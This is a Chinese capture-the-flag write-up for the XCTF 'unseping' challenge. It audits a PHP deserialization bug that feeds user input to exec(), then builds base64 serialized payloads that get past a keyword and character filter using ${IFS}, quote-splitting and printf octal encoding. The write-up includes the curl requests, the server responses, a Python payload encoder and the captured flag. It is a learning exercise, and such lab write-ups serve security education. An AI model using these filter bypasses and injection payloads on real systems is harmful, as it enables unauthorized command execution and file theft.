打开靶机对应的url
上来就是代码审计
<?php
highlight_file(__FILE__); class ease{ private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
} function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
} function ping($ip){
exec($ip, $result);
var_dump($result);
} function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
} function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
} $ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
从这里看到有个反序列化的操作,那应该就是要考察我们序列化绕过的知识
知识点:
php 一个对象在释放时,会先调用__wakeup() 之后调用__destruct()
这里在__wakeup()里访问了waf(),那么只要反序列化绕过套路绕过就可以了,然后在__destruct只要method值为ping就可以操作了
但是现实是残酷的,根据响应可以看到后台php版本为PHP/7.4.28, 而存在php wakeup绕过漏洞的php5的版本为< 5.6.25、php7的版本为< 7.0.10
所以本题是没有 wakeup 绕过漏洞的,所以考察的是如何绕过waf函数的检查

通过代码审计可以看出,在检查这些东西 /(\||&|;| |\/|cat|flag|tac|php|ls)/

也就是不能出现 | & / cat flag tac php ls 空格, 从这里也可以看出,很可能存在一个叫flag.php 的文件,暗喜...

1. 首先我们想看一下目录下有什么,想执行类似ls -l命令,ls被过滤,空格被过滤,那么得找替代命令
知识点:
1. 空格:
linux 上当shell是 bash的话 空格可以用 ${IFS}或者$IFS$9 代替
PS: $()与 ` `(反引号):都是用来作命令替换的,执行括号或者反引号中的命令 其他空格绕过例子:
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt 2. 命令拆分:
在linux下 ls 等价于 l''s 等价于 l""s,都可以执行,其他命令也是一样的,这是一个特性
那么我们可以把命令搞成l""s${IFS}-l,然后进行序列化, 以下是序列化代码,后面用php解释器执行一下
<?php
highlight_file(__FILE__); class ease{ private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$t_ease = new ease('ping', array('l""s${IFS}-l'));
$t_serialize = serialize($t_ease);
echo $t_serialize;
echo base64_encode($t_serialize);
?>

执行以下,得到

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:12:"l""s${IFS}-l";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxMjoibCIicyR7SUZTfS1sIjt9fQ==
执行一下
curl -d "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxMjoibCIicyR7SUZTfS1sIjt9fQ==" http://61.147.171.105:51590/

返回

array(3) {
[0]=>
string(7) "total 8"
[1]=>
string(53) "drwxr-xr-x 1 root root 4096 Dec 17 13:04 flag_1s_here"
[2]=>
string(50) "-rwxr-xr-x 1 root root 863 Aug 18 07:49 index.php"
}
那么从返回可知,内容在目录flag_1s_here里,再造请求命令l""s${IFS}f""lag_1s_here

执行一下,得到

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:24:"l""s${IFS}f""lag_1s_here";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

拼接一下url,执行一下

curl -d "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==" http://61.147.171.105:51590/

返回:
array(1) {
[0]=>
string(25) "flag_831b69012c67b35f.php"
尝试访问一下这个php
http://61.147.171.105:51590/flag_1s_here/flag_831b69012c67b35f.php

啥也没返回,看来flag可能在源码里
构造命令c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp
知识点:
printf绕过
printf 同时可以识别八进制表示或十六进制表示的字符串
printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出 \NNN 八进制数 NNN 所代表的 ASCII 码字符。 \xHH 十六进制 HH 对应的8位字符。HH 可以是一到两位。 \uHHHH 十六进制 HHHH 对应的 Unicode 字符。HHHH 一到四位。 \UHHHHHHHH十六进制 HHHHHHHH 对应的 Unicode 字符。HHHHHHHH 一到八位 那么 printf${IFS}"\57" 表示把 / 给输出出来 绕过waf检查

得到

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:74:"c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

拼接一下url,执行一下

curl -d "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319" http://61.147.171.105:51590/

返回

array(2) {
[0]=>
string(5) "<?php"
[1]=>
string(47) "//$cyberpeace{fe4f4de76271ecf858952de5905e8968}"
}

boom 得到 flag $cyberpeace{fe4f4de76271ecf858952de5905e8968}"

当然也可以将整个命令cat flag_1s_here/flag_831b69012c67b35f.php进行八进制编码,然后用printf输出出来进行绕过,然后加上$()进行执行

如下

$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")

等价于
cat flag_1s_here/flag_831b69012c67b35f.php

PS:

一段转化八进制的代码

# 八进制编码
def encodeOctal(str): # 只显示八进制
print("八进制")
for i in str:
print(oct(ord(i)).replace("0o", "\\"), end="") # 显示Linux八进制payload
print("\nlinux payload")
payload = '$(printf${IFS}"'
for i in str:
payload += oct(ord(i)).replace("0o", "\\") payload += '")'
print(payload) if __name__ == '__main__':
str = "cat flag_1s_here/flag_831b69012c67b35f.php"
encodeOctal(str)

[攻防世界][江苏工匠杯]unseping的更多相关文章

  1. 记录下做攻防世界的misc题

    0x00 记录一下,代表自己做过 0x01 flag_universe 看简介是来自2018年的百越杯. 将文件下载下来后,就一个flag_universe.pcapng文件,wireshark打开. ...

  2. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  3. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  4. 攻防世界 web进阶练习 NewsCenter

    攻防世界 web进阶练习 NewsCenter   题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...

  5. 【攻防世界】高手进阶 pwn200 WP

    题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...

  6. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  7. 攻防世界 | CAT

    来自攻防世界官方WP | darkless师傅版本 题目描述 抓住那只猫 思路 打开页面,有个输入框输入域名,输入baidu.com进行测试 发现无任何回显,输入127.0.0.1进行测试. 发现已经 ...

  8. 攻防世界 robots题

    来自攻防世界 robots [原理] robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在, ...

  9. 【攻防世界】 高手进阶区 Recho WP

    0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...

  10. CTF -攻防世界-crypto新手区(5~11)

    easy_RSA 首先如果你没有密码学基础是得去恶补一下的 然后步骤是先算出欧拉函数 之后提交注意是cyberpeace{********}这样的 ,博主以为是flag{}耽误了很长时间  明明没算错 ...

随机推荐

  1. ERP 系统的核心是什么?有什么作用?

    ERP系统的核心就是系统的内部业务逻辑,这也是ERP复杂.专业性的体现!ERP系统需要适配企业的管理思想和业务流程,在技术上面也也要做到快速部署和个性化定制(客户化定制),而这些企业的规模不同.行业不 ...

  2. 深入理解AQS--jdk层面管程实现【管程详解的补充】

    什么是AQS 1.java.util.concurrent包中的大多数同步器实现都是围绕着共同的基础行为,比如等待队列.条件队列.独占获取.共享获取等,而这些行为的抽象就是基于AbstractQueu ...

  3. Java19虚拟线程都来了,我正在写的线程代码会被淘汰掉吗?

    Java19中引入了虚拟线程,虽然默认是关闭的,但是可以以Preview模式启用,这绝对是一个重大的更新,今天Java架构杂谈带大家开箱验货,看看这家伙实现了什么了不起的功能. 1 为什么需要虚拟线程 ...

  4. 代码随想录第八天 |344.反转字符串 、541. 反转字符串II、剑指Offer 05.替换空格 、151.翻转字符串里的单词 、剑指Offer58-II.左旋转字符串

    第一题344.反转字符串 编写一个函数,其作用是将输入的字符串反转过来.输入字符串以字符数组 s 的形式给出. 不要给另外的数组分配额外的空间,你必须原地修改输入数组.使用 O(1) 的额外空间解决这 ...

  5. python学习笔记----必备知识

    一.必备知识 二.流程控制 https://blog.csdn.net/weixin_43304253/article/details/120778228 1.1语法特点: 1.1.1 代码注释 单行 ...

  6. 齐博x2向上滚动特效

    要实现图中圈起来的向上滚动特效,大家可以参考下面的代码 <!--滚动开始--> <style type="text/css"> .auto-roll{ he ...

  7. 自己动手写线程池——向JDK线程池进发

    自己动手写线程池--向JDK线程池进发 前言 在前面的文章自己动手写乞丐版线程池中,我们写了一个非常简单的线程池实现,这个只是一个非常简单的实现,在本篇文章当中我们将要实现一个和JDK内部实现的线程池 ...

  8. LcdToos如何在线调屏PORCH参数

    在点屏过程中,我们会经常碰到画面对不齐现象,在这种情况下需要多次尝试修调屏的PORCH参数来使画面显示正常:通常的做法是修改完PORCH参数下载到PG,点亮看效果,这种方法无疑效率很低,对于现象的表现 ...

  9. calico和flannel的优缺点

    1.Kubernetes通信问题 1.容器间通信:即同一个Pod内多个容器间通信,通常使用loopback来实现. 2.Pod间通信:K8s要求,Pod和Pod之间通信必须使用Pod-IP 直接访问另 ...

  10. Angular SSR 探究

    一般来说,普通的 Angular 应用是在 浏览器 中运行,在 DOM 中对页面进行渲染,并与用户进行交互.而 Angular Universal 是在 服务端 进行渲染(Server-Side Re ...